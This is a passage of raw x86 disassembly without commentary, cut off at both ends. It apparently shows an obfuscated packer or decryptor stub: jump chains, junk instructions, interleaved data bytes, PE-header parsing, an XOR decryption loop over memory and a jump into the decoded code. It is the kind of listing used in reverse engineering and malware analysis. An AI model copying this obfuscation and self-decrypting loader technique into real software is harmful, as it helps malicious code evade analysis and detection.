--------------------------------------------------------------------------- db 0FEh, 5Fh, 0ACh db 75h, 0Ah, 7Bh ; --------------------------------------------------------------------------- loc_4054E7: ; CODE XREF: .text:loc_4054B2j jmp short loc_4054DF ; --------------------------------------------------------------------------- db 98h, 0F1h, 0D6h dd 622D4457h, 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh, 129D7447h dd 5E99E0E3h, 6A550C3Fh ; --------------------------------------------------------------------------- pop ebx clc loc_40550A: ; CODE XREF: .text:004053CEj ; .text:loc_4054DFj mov edi, [edi] push esi push eax inc eax jnz short loc_405520 cmp al, 0DEh jbe short loc_40551D push edx pop eax push ebp pop eax not eax cmp esi, ebx loc_40551D: ; CODE XREF: .text:00405513j test ecx, ebp dec esi loc_405520: ; CODE XREF: .text:0040550Fj inc eax cld pop eax pop esi loc_405524: ; CODE XREF: .text:0040555Fj cmp [esp], edi jnz loc_4053CB push esi push eax rcl esi, 7Ch cmp dh, cl test eax, esp cld pop eax pop esi loc_405539: ; CODE XREF: .text:loc_4054A4j mov ebx, ebp push ecx push esi mov ecx, 808F1Ah mov cx, 48F9h push esp pop ecx xor ecx, esi clc inc ecx cld pop esi pop ecx add ebx, [ebx+3Ch] jmp short loc_405562 ; --------------------------------------------------------------------------- lds ebx, [edx] dec ebx sub [ecx-1Ah], al daa loc_40555B: ; CODE XREF: .text:loc_405562j jmp short loc_405589 ; --------------------------------------------------------------------------- aam 7Dh jb short loc_405524 inc eax loc_405562: ; CODE XREF: .text:00405552j jmp short loc_40555B ; --------------------------------------------------------------------------- dd 6C1FBE79h, 583BCA35h, 41796B1h, 70B322EDh, 9C0F6EE9h dd 882B7AA5h, 34074621h, 0A0A3D25Dh, 0CCFF1E59h db 15h ; --------------------------------------------------------------------------- loc_405589: ; CODE XREF: .text:loc_40555Bj mov eax, [ebx+34h] jmp short loc_4055B8 ; --------------------------------------------------------------------------- dw 0F691h dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh db 0Bh ; --------------------------------------------------------------------------- loc_40559D: ; CODE XREF: .text:loc_4055B8j jmp short loc_4055CF ; --------------------------------------------------------------------------- db 0E8h dd 94E7A601h, 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h dd 3073E2ADh ; --------------------------------------------------------------------------- loc_4055B8: ; CODE XREF: .text:0040558Cj jmp short loc_40559D ; --------------------------------------------------------------------------- dw 2EA9h dd 3A655CCFh, 6E148EBh, 921DF4C7h, 0DE196063h db 0BFh, 8Ch, 0D5h ; --------------------------------------------------------------------------- loc_4055CF: ; CODE XREF: .text:loc_40559Dj sub eax, ebp jmp short loc_4055FD ; --------------------------------------------------------------------------- mov dh, 0B7h and al, 8Dh inc edx push ebx nop loc_4055DA: ; CODE XREF: .text:loc_4055FDj jmp short loc_40560D ; --------------------------------------------------------------------------- mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h dd 0F033A26Dh db 69h ; --------------------------------------------------------------------------- loc_4055FD: ; CODE XREF: .text:004055D1j jmp short loc_4055DA ; --------------------------------------------------------------------------- db 0EEh dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h db 23h ; --------------------------------------------------------------------------- loc_40560D: ; CODE XREF: .text:loc_4055DAj push 10000001h push ebx push ecx mov ecx, 80A09Ah not ecx jns loc_405627 lea ebx, ds:81151Ah loc_405627: ; CODE XREF: .text:0040561Bj cmp al, 0D7h inc ecx inc ebx cld pop ecx pop ebx pop edx jmp short loc_40565F ; --------------------------------------------------------------------------- db 38h, 11h, 76h dd 24DE477h ; --------------------------------------------------------------------------- loc_405638: ; CODE XREF: .text:loc_40565Fj jmp short loc_40566F ; --------------------------------------------------------------------------- dw 5013h dd 7C6F4E49h, 688B5A05h, 14672681h, 8003B2BDh, 0AC5FFEB9h dd 987B0A75h, 4457D6F1h, 0B0F3622Dh db 29h, 0AEh, 4Fh ; --------------------------------------------------------------------------- loc_40565F: ; CODE XREF: .text:0040562Fj jmp short loc_405638 ; --------------------------------------------------------------------------- db 0DCh, 0E5h, 0BAh db 6Bh ; --------------------------------------------------------------------------- loc_405665: ; CODE XREF: .text:loc_40566Fj jmp short loc_405692 ; --------------------------------------------------------------------------- db 0C8h ; --------------------------------------------------------------------------- popa xchg al, [edi+74h] popf adc ah, bl loc_40566F: ; CODE XREF: .text:loc_405638j jmp short loc_405665 ; --------------------------------------------------------------------------- db 0E0h, 99h, 5Eh dd 6A550C3Fh, 36D1F85Bh, 0C20DA437h, 0E0910D3h, 1AC53C2Fh dd 0E641284Bh, 727DD427h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- inc eax loc_405692: ; CODE XREF: .text:loc_405665j add edx, ebp jmp short loc_4056BF ; --------------------------------------------------------------------------- dw 356Ch db 0CAh ; --------------------------------------------------------------------------- loc_405699: ; CODE XREF: .text:loc_4056BFj jmp short loc_4056D2 ; --------------------------------------------------------------------------- db 3Bh dd 1796B158h, 0B322ED04h, 0F6EE970h, 2B7AA59Ch, 7462188h dd 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh db 0B8h, 91h, 0F6h ; --------------------------------------------------------------------------- loc_4056BF: ; CODE XREF: .text:00405694j jmp short loc_405699 ; --------------------------------------------------------------------------- db 0F7h, 64h, 0CDh dd 0C9D09382h, 85FCEFCEh, 1E80BDAh db 0A6h, 0E7h ; --------------------------------------------------------------------------- loc_4056D2: ; CODE XREF: .text:loc_405699j add edx, 0Dh push esi push eax mov eax, edi mov esi, ebp ror esi, 0FCh cld pop eax pop esi push 10000001h push ecx push ebx jmp $+5 push ebx pop ebx mov ebx, 8109DAh test cl, ah dec ebx not ecx cmp al, ch xor ecx, eax stc inc ebx cld pop ebx pop ecx pop ecx jmp short loc_405733 ; --------------------------------------------------------------------------- db 18h, 71h, 56h db 0D7h, 0C4h ; --------------------------------------------------------------------------- loc_40570A: ; CODE XREF: .text:loc_405733j jmp short loc_40574A ; --------------------------------------------------------------------------- dd 3073E2ADh, 5CCF2EA9h, 48EB3A65h, 0F4C706E1h, 6063921Dh dd 8CBFDE19h, 78DBEAD5h, 24B7B651h, 9053428Dh db 89h, 8Eh, 0AFh ; --------------------------------------------------------------------------- loc_405733: ; CODE XREF: .text:00405703j jmp short loc_40570A ; --------------------------------------------------------------------------- db 0BCh, 45h, 9Ah ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- test al, 0C1h loc_40573B: ; CODE XREF: .text:loc_40574Aj jmp short loc_405769 ; --------------------------------------------------------------------------- db 66h, 0A7h, 54h dd 0C043F2FDh, 0EC9F3EF9h ; --------------------------------------------------------------------------- mov ch, 4Ah loc_40574A: ; CODE XREF: .text:loc_40570Aj jmp short loc_40573B ; --------------------------------------------------------------------------- loc_40574C: ; CODE XREF: .text:loc_405769j jmp short loc_405779 ; --------------------------------------------------------------------------- dw 0D8BBh dd 84971631h, 0F033A26Dh, 1C8FEE69h, 8ABFA25h, 0B487C6A1h dd 202352DDh db 0D9h ; --------------------------------------------------------------------------- loc_405769: ; CODE XREF: .text:loc_40573Bj jmp short loc_40574C ; --------------------------------------------------------------------------- db 9Eh dd 0AA954C7Fh, 7611389Bh, 24DE477h db 13h ; --------------------------------------------------------------------------- loc_405779: ; CODE XREF: .text:loc_40574Cj sub ecx, eax push edi push ebx neg ebx dec ebx cld pop ebx pop edi mov [edx], ecx jmp short loc_4057B5 ; --------------------------------------------------------------------------- db 14h dd 8003B2BDh db 0B9h, 0FEh ; --------------------------------------------------------------------------- loc_40578E: ; CODE XREF: .text:loc_4057B5j jmp short loc_4057C6 ; --------------------------------------------------------------------------- dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h, 0AE29B0F3h, 0BAE5DC4Fh dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh ; --------------------------------------------------------------------------- pop ebx loc_4057B5: ; CODE XREF: .text:00405785j jmp short loc_40578E ; --------------------------------------------------------------------------- clc sal dword ptr [esi], 1 aaa movsb loc_4057BC: ; CODE XREF: .text:loc_4057C6j jmp short loc_4057E9 ; --------------------------------------------------------------------------- dw 0C20Dh dd 0E0910D3h db 2Fh, 3Ch ; --------------------------------------------------------------------------- loc_4057C6: ; CODE XREF: .text:loc_40578Ej jmp short loc_4057BC ; --------------------------------------------------------------------------- db 0C5h ; --------------------------------------------------------------------------- loc_4057C9: ; CODE XREF: .text:loc_4057E9j jmp short loc_4057FA ; --------------------------------------------------------------------------- db 1Ah dd 0E641284Bh, 727DD427h, 0BE7940C3h, 0CA356C1Fh, 96B1583Bh dd 22ED0417h, 6EE970B3h db 0Fh ; --------------------------------------------------------------------------- loc_4057E9: ; CODE XREF: .text:loc_4057BCj jmp short loc_4057C9 ; --------------------------------------------------------------------------- db 9Ch dd 882B7AA5h, 34074621h, 0A0A3D25Dh ; --------------------------------------------------------------------------- pop ecx push ds loc_4057FA: ; CODE XREF: .text:004051FEj ; .text:loc_4057C9j popa push edi push esi push ebp pop edi mov di, 49E2h mov edi, 80AA1Ah mov esi, 818922h test ecx, ecx cld cld pop esi pop edi call near ptr sub_403611 push edi push esi jmp $+5 std xchg esi, edi mov edi, 80AADAh xor esi, esp cld pop esi pop edi add eax, 107E0h jmp short loc_40584E ; --------------------------------------------------------------------------- db 82h db 93h, 0D0h ; --------------------------------------------------------------------------- loc_405836: ; CODE XREF: .text:loc_40584Ej jmp short loc_405861 ; --------------------------------------------------------------------------- dd 0FCEFCEC9h, 0E80BDA85h, 94E7A601h, 83323Dh, 2CDF7E39h db 0F5h, 8Ah ; --------------------------------------------------------------------------- loc_40584E: ; CODE XREF: .text:00405831j jmp short loc_405836 ; --------------------------------------------------------------------------- db 0FBh, 18h, 71h ; --------------------------------------------------------------------------- loc_405853: ; CODE XREF: .text:loc_405861j jmp short loc_405884 ; --------------------------------------------------------------------------- db 56h, 0D7h, 0C4h dd 3073E2ADh, 5CCF2EA9h db 65h ; --------------------------------------------------------------------------- loc_405861: ; CODE XREF: .text:loc_405836j jmp short loc_405853 ; --------------------------------------------------------------------------- db 3Ah ; --------------------------------------------------------------------------- jmp short loc_4058AE ; --------------------------------------------------------------------------- dw 6E1h ; --------------------------------------------------------------------------- loc_405868: ; CODE XREF: .text:loc_405884j jmp short loc_405897 ; --------------------------------------------------------------------------- dw 0F4C7h dd 6063921Dh, 8CBFDE19h, 78DBEAD5h, 24B7B651h, 9053428Dh dd 0BCAF8E89h ; --------------------------------------------------------------------------- loc_405884: ; CODE XREF: .text:loc_405853j jmp short loc_405868 ; --------------------------------------------------------------------------- dw 9A45h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h, 3EF9C043h db 9Fh, 0ECh, 0B5h ; --------------------------------------------------------------------------- loc_405897: ; CODE XREF: .text:loc_405868j jmp eax ; --------------------------------------------------------------------------- db 56h, 53h, 66h dd 0F74A67BEh, 4B5B54D3h, 0A91AE381h, 0E53B0080h db 66h, 0BEh ; --------------------------------------------------------------------------- loc_4058AE: ; CODE XREF: .text:00405864j test dword ptr [eax-0Dh], 0DE87F58Bh dec ebx cld pop ebx pop esi ; =============== S U B R O U T I N E ======================================= sub_4058B9 proc far ; CODE XREF: .text:00404BF4p ; .text:00404D6Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push eax push edx mov eax, ebp push edx pop edx mov ax, 48F5h xor edx, edx rep dec eax test al, ah dec eax cld pop edx pop eax push edi jmp short loc_4058E7 ; --------------------------------------------------------------------------- db 6Dh, 0A2h, 33h dd 8FEE69F0h ; --------------------------------------------------------------------------- loc_4058D8: ; CODE XREF: sub_4058B9:loc_4058E7j jmp short loc_405906 ; --------------------------------------------------------------------------- sbb al, 25h cli stosd or [ecx-224B783Ah], ah push edx and esp, [eax] loc_4058E7: ; CODE XREF: sub_4058B9+16j jmp short loc_4058D8 ; --------------------------------------------------------------------------- db 0D9h, 9Eh, 7Fh dd 9BAA954Ch, 77761138h, 13024DE4h, 6F4E4950h, 8B5A057Ch dd 67268168h ; --------------------------------------------------------------------------- adc al, 0BDh loc_405906: ; CODE XREF: sub_4058B9:loc_4058D8j push ecx jmp short loc_405933 ; --------------------------------------------------------------------------- db 0Ah, 7Bh ; --------------------------------------------------------------------------- loc_40590B: ; CODE XREF: sub_4058B9:loc_405933j jmp short loc_405946 ; --------------------------------------------------------------------------- db 98h, 0F1h, 0D6h dd 622D4457h, 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh, 129D7447h dd 5E99E0E3h, 6A550C3Fh, 36D1F85Bh db 37h, 0A4h, 0Dh ; --------------------------------------------------------------------------- loc_405933: ; CODE XREF: sub_4058B9+4Ej jmp short loc_40590B ; --------------------------------------------------------------------------- db 0C2h, 0D3h, 10h ; --------------------------------------------------------------------------- loc_405938: ; CODE XREF: sub_4058B9:loc_405946j jmp short loc_405969 ; --------------------------------------------------------------------------- dw 0E09h dd 1AC53C2Fh, 0E641284Bh db 27h, 0D4h ; --------------------------------------------------------------------------- loc_405946: ; CODE XREF: sub_4058B9:loc_40590Bj jmp short loc_405938 ; --------------------------------------------------------------------------- jge short loc_4059BC retn ; --------------------------------------------------------------------------- db 40h db 79h ; --------------------------------------------------------------------------- loc_40594D: ; CODE XREF: sub_4058B9:loc_405969j jmp short loc_40597C ; --------------------------------------------------------------------------- mov esi, 0CA356C1Fh cmp ebx, [eax-4Fh] xchg eax, esi pop ss add al, 0EDh and dh, [ebx+0F6EE970h] pushf movsd jp short loc_405990 mov [ecx], ah inc esi pop es loc_405969: ; CODE XREF: sub_4058B9:loc_405938j jmp short loc_40594D ; --------------------------------------------------------------------------- xor al, 5Dh shl byte ptr [ebx-0E1A660h], cl loc_405973: ; CODE XREF: sub_4058B9+D9j int 3 ; Trap to Debugger adc eax, 91B81B2Ah div bh ; --------------------------------------------------------------------------- db 64h ; --------------------------------------------------------------------------- loc_40597C: ; CODE XREF: sub_4058B9:loc_40594Dj mov ecx, [esp+18h] jmp short loc_4059AF ; --------------------------------------------------------------------------- cld test ebx, edx loc_405985: ; CODE XREF: sub_4058B9:loc_4059AFj jmp short loc_4059C2 ; --------------------------------------------------------------------------- db 0Bh dd 0E7A601E8h, 83323D94h ; --------------------------------------------------------------------------- loc_405990: ; CODE XREF: sub_4058B9+AAj add [ecx], bh jle short loc_405973 sub al, 0F5h mov bh, bl sbb [ecx+56h], dh xlat les ebp, [ebp-56CF8C1Eh] db 2Eh iret ; --------------------------------------------------------------------------- dd 0EB3A655Ch, 0C706E148h db 0F4h, 1Dh, 92h ; --------------------------------------------------------------------------- loc_4059AF: ; CODE XREF: sub_4058B9+C7j jmp short loc_405985 ; --------------------------------------------------------------------------- db 63h ; --------------------------------------------------------------------------- loc_4059B2: ; CODE XREF: sub_4058B9:loc_4059C2j jmp short loc_4059DD ; --------------------------------------------------------------------------- pusha sbb esi, ebx mov edi, 0DBEAD58Ch loc_4059BC: ; CODE XREF: sub_4058B9+8Fj js short near ptr loc_405A0E+1 mov dh, 0B7h and al, 8Dh loc_4059C2: ; CODE XREF: sub_4058B9:loc_405985j jmp short loc_4059B2 ; --------------------------------------------------------------------------- inc edx push ebx nop loc_4059C7: ; CODE XREF: sub_4058B9:loc_4059DDj jmp short loc_4059F8 ; --------------------------------------------------------------------------- mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h db 0ECh ; --------------------------------------------------------------------------- loc_4059DD: ; CODE XREF: sub_4058B9:loc_4059B2j jmp short loc_4059C7 ; --------------------------------------------------------------------------- mov ch, 4Ah mov ebx, 971631D8h test [ebp-5Eh], ch xor esi, eax imul ebp, esi, 0FA251C8Fh stosd or [ecx-224B783Ah], ah loc_4059F8: ; CODE XREF: sub_4058B9:loc_4059C7j sub ecx, 4 push ebx push eax test eax, ebp cmp al, 0D5h mov ebx, esp xchg ebx, eax jnz short loc_405A0C mov eax, 808C1Ah loc_405A0C: ; CODE XREF: sub_4058B9+14Cj ; sub_4058B9+1B4j xor eax, edi loc_405A0E: ; CODE XREF: sub_4058B9:loc_4059BCj lea eax, ds:81169Ah cld pop eax pop ebx mov edi, ebp push ebx push ecx cmp ch, al not ebx push esp pop ebx mov ecx, 80911Ah neg ecx push ebx pop ebx cld pop ecx pop ebx mov eax, [esp+10h] jmp short loc_405A61 ; --------------------------------------------------------------------------- db 38h dd 0E4777611h db 4Dh, 2 ; --------------------------------------------------------------------------- loc_405A3A: ; CODE XREF: sub_4058B9:loc_405A61j jmp short loc_405A71 ; --------------------------------------------------------------------------- dd 4E495013h, 5A057C6Fh, 2681688Bh, 0B2BD1467h, 0FEB98003h dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h, 0AE29B0F3h ; --------------------------------------------------------------------------- dec edi loc_405A61: ; CODE XREF: sub_4058B9+178j jmp short loc_405A3A ; --------------------------------------------------------------------------- db 0DCh db 0E5h, 0BAh, 6Bh ; --------------------------------------------------------------------------- loc_405A67: ; CODE XREF: sub_4058B9:loc_405A71j jmp short loc_405A94 ; --------------------------------------------------------------------------- enter 0FFFF8661h, 47h jz short loc_405A0C adc ah, bl loc_405A71: ; CODE XREF: sub_4058B9:loc_405A3Aj jmp short loc_405A67 ; --------------------------------------------------------------------------- db 0E0h dd 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh, 3C2F0E09h dd 284B1AC5h, 0D427E641h, 40C3727Dh ; --------------------------------------------------------------------------- loc_405A94: ; CODE XREF: sub_4058B9:loc_405A67j add edi, eax push eax push ebx neg eax lea eax, ds:80A1DAh test eax, ebx repne cld pop ebx pop eax mov eax, [esp+14h] jmp short loc_405ACB ; --------------------------------------------------------------------------- db 0CAh, 3Bh, 58h ; --------------------------------------------------------------------------- loc_405AAF: ; CODE XREF: sub_4058B9:loc_405ACBj jmp short loc_405ADE ; --------------------------------------------------------------------------- db 0B1h, 96h, 17h dd 0B322ED04h, 0F6EE970h, 2B7AA59Ch, 7462188h, 0A3D25D34h db 0A0h, 59h, 1Eh ; --------------------------------------------------------------------------- loc_405ACB: ; CODE XREF: sub_4058B9+1F1j jmp short loc_405AAF ; --------------------------------------------------------------------------- db 0FFh, 0CCh, 15h dd 91B81B2Ah, 0CD64F7F6h, 0C9D09382h db 0CEh, 0EFh ; --------------------------------------------------------------------------- loc_405ADE: ; CODE XREF: sub_4058B9:loc_405AAFj xor [ecx+edi], eax push ebx push eax push ecx pop eax cmp cl, bh mov eax, 80881Ah or eax, 82925Ah xor ebx, esi not eax dec ebx push ebx pop eax dec ebx cld pop eax pop ebx dec ecx push edi push ebx xchg edi, ebx inc edi xor edi, edx inc ebx std cld pop ebx pop edi loc_405B0A: ; CODE XREF: sub_4058B9+C94j add eax, 0A61FDF28h jmp short loc_405B41 ; --------------------------------------------------------------------------- db 94h, 3Dh ; --------------------------------------------------------------------------- loc_405B13: ; CODE XREF: sub_4058B9:loc_405B41j jmp short loc_405B5C ; --------------------------------------------------------------------------- db 32h, 83h, 0 dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh, 5CCF2EA9h dd 48EB3A65h, 0F4C706E1h, 6063921Dh, 8CBFDE19h, 78DBEAD5h ; --------------------------------------------------------------------------- push ecx loc_405B41: ; CODE XREF: sub_4058B9+256j jmp short loc_405B13 ; --------------------------------------------------------------------------- mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h, 3EF9C043h ; --------------------------------------------------------------------------- loc_405B5C: ; CODE XREF: sub_4058B9:loc_405B13j sub eax, 5EFBCB53h jmp short loc_405B92 ; --------------------------------------------------------------------------- fdiv dword ptr [ecx] push ss loc_405B66: ; CODE XREF: sub_4058B9:loc_405B92j jmp short loc_405BA5 ; --------------------------------------------------------------------------- dd 0A26D8497h, 0EE69F033h, 0FA251C8Fh, 0C6A108ABh, 52DDB487h dd 9ED92023h, 0AA954C7Fh, 7611389Bh, 24DE477h, 4E495013h db 6Fh, 7Ch ; --------------------------------------------------------------------------- loc_405B92: ; CODE XREF: sub_4058B9+2A8j jmp short loc_405B66 ; --------------------------------------------------------------------------- dd 688B5A05h db 81h, 26h, 67h ; --------------------------------------------------------------------------- loc_405B9B: ; CODE XREF: sub_4058B9:loc_405BA5j jmp short loc_405BC8 ; --------------------------------------------------------------------------- db 14h, 0BDh, 0B2h dd 0FEB98003h ; --------------------------------------------------------------------------- pop edi loc_405BA5: ; CODE XREF: sub_4058B9:loc_405B66j jmp short loc_405B9B ; --------------------------------------------------------------------------- db 0ACh dd 987B0A75h, 4457D6F1h, 0B0F3622Dh, 0DC4FAE29h, 0C86BBAE5h dd 74478661h, 0E0E3129Dh, 0C3F5E99h ; --------------------------------------------------------------------------- loc_405BC8: ; CODE XREF: sub_4058B9:loc_405B9Bj sub eax, 30624DFAh jmp short loc_405BFC ; --------------------------------------------------------------------------- db 0A4h db 0Dh, 0C2h ; --------------------------------------------------------------------------- loc_405BD2: ; CODE XREF: sub_4058B9:loc_405BFCj jmp short loc_405C0F ; --------------------------------------------------------------------------- dd 0E0910D3h, 1AC53C2Fh, 0E641284Bh, 727DD427h, 0BE7940C3h dd 0CA356C1Fh, 96B1583Bh, 22ED0417h, 6EE970B3h, 7AA59C0Fh ; --------------------------------------------------------------------------- loc_405BFC: ; CODE XREF: sub_4058B9+314j jmp short loc_405BD2 ; --------------------------------------------------------------------------- db 2Bh ; --------------------------------------------------------------------------- loc_405BFF: ; CODE XREF: sub_4058B9:loc_405C0Fj jmp short loc_405C2A ; --------------------------------------------------------------------------- db 88h, 21h, 46h dd 0D25D3407h, 1E59A0A3h db 0FFh, 0CCh, 15h ; --------------------------------------------------------------------------- loc_405C0F: ; CODE XREF: sub_4058B9:loc_405BD2j jmp short loc_405BFF ; --------------------------------------------------------------------------- db 2Ah, 1Bh, 0B8h ; --------------------------------------------------------------------------- loc_405C14: ; CODE XREF: sub_4058B9:loc_405C2Aj jmp short loc_405C45 ; --------------------------------------------------------------------------- dw 0F691h dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh db 0E7h, 94h ; --------------------------------------------------------------------------- loc_405C2A: ; CODE XREF: sub_4058B9:loc_405BFFj jmp short loc_405C14 ; --------------------------------------------------------------------------- dd 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh dd 5CCF2EA9h db 65h ; --------------------------------------------------------------------------- loc_405C45: ; CODE XREF: sub_4058B9:loc_405C14j ror eax, 75h jmp short loc_405C74 ; --------------------------------------------------------------------------- push es mov esp, 6063921Dh loc_405C51: ; CODE XREF: sub_4058B9:loc_405C74j jmp short loc_405C84 ; --------------------------------------------------------------------------- sbb esi, ebx mov edi, 0DBEAD58Ch js short loc_405CAD mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dw 0C1A8h dd 0FD54A766h, 0F9C043F2h ; --------------------------------------------------------------------------- loc_405C74: ; CODE XREF: sub_4058B9+38Fj jmp short loc_405C51 ; --------------------------------------------------------------------------- dw 9F3Eh dd 0BB4AB5ECh, 971631D8h, 33A26D84h ; --------------------------------------------------------------------------- loc_405C84: ; CODE XREF: sub_4058B9:loc_405C51j ror eax, 0B9h jmp short loc_405CB9 ; --------------------------------------------------------------------------- db 8Fh, 1Ch, 25h dd 0A108ABFAh ; --------------------------------------------------------------------------- loc_405C90: ; CODE XREF: sub_4058B9:loc_405CB9j jmp short loc_405CD0 ; --------------------------------------------------------------------------- dw 87C6h dd 2352DDB4h, 7F9ED920h, 9BAA954Ch, 77761138h, 13024DE4h dd 6F4E4950h db 7Ch ; --------------------------------------------------------------------------- loc_405CAD: ; CODE XREF: sub_4058B9+3A1j add eax, 81688B5Ah db 26h, 67h adc al, 0BDh mov dl, 3 ; --------------------------------------------------------------------------- db 80h ; --------------------------------------------------------------------------- loc_405CB9: ; CODE XREF: sub_4058B9+3CEj jmp short loc_405C90 ; --------------------------------------------------------------------------- mov ecx, 75AC5FFEh or bh, [ebx-68h] icebp setalc push edi inc esp sub eax, 29B0F362h scasb dec edi fsubr st(5), st loc_405CD0: ; CODE XREF: sub_4058B9:loc_405C90j xor ax, 0FA74h jmp short loc_405D00 ; --------------------------------------------------------------------------- dw 9D74h dd 99E0E312h ; --------------------------------------------------------------------------- pop esi loc_405CDD: ; CODE XREF: sub_4058B9:loc_405D00j jmp short loc_405D10 ; --------------------------------------------------------------------------- db 3Fh dd 5B6A550Ch, 3736D1F8h, 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch dd 27E64128h, 0C3727DD4h, 1FBE7940h ; --------------------------------------------------------------------------- loc_405D00: ; CODE XREF: sub_4058B9+41Bj jmp short loc_405CDD ; --------------------------------------------------------------------------- loc_405D02: ; CODE XREF: sub_4058B9:loc_405D10j jmp short loc_405D33 ; --------------------------------------------------------------------------- dd 3BCA356Ch, 1796B158h, 0B322ED04h ; --------------------------------------------------------------------------- loc_405D10: ; CODE XREF: sub_4058B9:loc_405CDDj jmp short loc_405D02 ; --------------------------------------------------------------------------- dw 0E970h dd 0A59C0F6Eh, 21882B7Ah, 5D340746h, 59A0A3D2h, 15CCFF1Eh dd 91B81B2Ah, 0CD64F7F6h db 82h, 93h, 0D0h ; --------------------------------------------------------------------------- loc_405D33: ; CODE XREF: sub_4058B9:loc_405D02j xor eax, 0F9571282h jmp short loc_405D63 ; --------------------------------------------------------------------------- dw 0BDAh db 0E8h ; --------------------------------------------------------------------------- loc_405D3D: ; CODE XREF: sub_4058B9:loc_405D63j jmp short loc_405D76 ; --------------------------------------------------------------------------- db 1 dd 3D94E7A6h, 39008332h, 0F52CDF7Eh, 7118FB8Ah, 0ADC4D756h dd 0A93073E2h, 655CCF2Eh, 0E148EB3Ah db 6, 0C7h, 0F4h ; --------------------------------------------------------------------------- loc_405D63: ; CODE XREF: sub_4058B9+47Fj jmp short loc_405D3D ; --------------------------------------------------------------------------- sbb eax, 19606392h loc_405D6A: ; CODE XREF: sub_4058B9:loc_405D76j jmp short loc_405D99 ; --------------------------------------------------------------------------- fidivr word ptr [edi-24152A74h] js short loc_405DC5 mov dh, 0B7h loc_405D76: ; CODE XREF: sub_4058B9:loc_405D3Dj jmp short loc_405D6A ; --------------------------------------------------------------------------- and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h db 84h ; --------------------------------------------------------------------------- loc_405D99: ; CODE XREF: sub_4058B9:loc_405D6Aj ror ax, 6Ah push edx push ebx shr edx, 0F6h cld pop ebx pop edx ror al, 16h jmp short loc_405DD5 ; --------------------------------------------------------------------------- dw 8ABh db 0A1h ; --------------------------------------------------------------------------- loc_405DAD: ; CODE XREF: sub_4058B9:loc_405DD5j jmp short loc_405DE8 ; --------------------------------------------------------------------------- db 0C6h dd 52DDB487h, 9ED92023h, 0AA954C7Fh, 7611389Bh, 24DE477h db 13h ; --------------------------------------------------------------------------- loc_405DC5: ; CODE XREF: sub_4058B9+4B9j push eax dec ecx dec esi outsd jl short near ptr loc_405DCF+1 pop edx mov ebp, [eax-7Fh] loc_405DCF: ; CODE XREF: sub_4058B9+510j db 26h, 67h adc al, 0BDh mov dl, 3 loc_405DD5: ; CODE XREF: sub_4058B9+4EFj jmp short loc_405DAD ; --------------------------------------------------------------------------- db 80h db 0B9h, 0FEh ; --------------------------------------------------------------------------- loc_405DDA: ; CODE XREF: sub_4058B9:loc_405DE8j jmp short loc_405E0B ; --------------------------------------------------------------------------- dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h ; --------------------------------------------------------------------------- loc_405DE8: ; CODE XREF: sub_4058B9:loc_405DADj jmp short loc_405DDA ; --------------------------------------------------------------------------- dw 0B0F3h db 29h, 0AEh, 4Fh ; --------------------------------------------------------------------------- loc_405DEF: ; CODE XREF: sub_4058B9:loc_405E0Bj jmp short loc_405E1B ; --------------------------------------------------------------------------- db 0DCh, 0E5h, 0BAh dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh db 37h, 0A4h, 0Dh ; --------------------------------------------------------------------------- loc_405E0B: ; CODE XREF: sub_4058B9:loc_405DDAj jmp short loc_405DEF ; --------------------------------------------------------------------------- db 0C2h, 0D3h, 10h dd 3C2F0E09h, 284B1AC5h db 41h, 0E6h, 27h ; --------------------------------------------------------------------------- loc_405E1B: ; CODE XREF: sub_4058B9:loc_405DEFj xor ax, 8B9Dh push edx push ecx cmp edx, edx ror edx, 38h xchg ecx, ecx xor ecx, edi jmp loc_405E30 ; --------------------------------------------------------------------------- inc edx loc_405E30: ; CODE XREF: sub_4058B9+571j push eax pop edx cmp bl, ah cld pop ecx pop edx sub eax, 2FA22262h jmp short loc_405E69 ; --------------------------------------------------------------------------- dw 1FBEh db 6Ch ; --------------------------------------------------------------------------- loc_405E41: ; CODE XREF: sub_4058B9:loc_405E69j jmp short loc_405E7C ; --------------------------------------------------------------------------- db 35h dd 0B1583BCAh, 0ED041796h, 0E970B322h, 0A59C0F6Eh, 21882B7Ah dd 5D340746h, 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah db 0F6h ; --------------------------------------------------------------------------- loc_405E69: ; CODE XREF: sub_4058B9+583j jmp short loc_405E41 ; --------------------------------------------------------------------------- db 0F7h dd 9382CD64h, 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h ; --------------------------------------------------------------------------- loc_405E7C: ; CODE XREF: sub_4058B9:loc_405E41j sub eax, 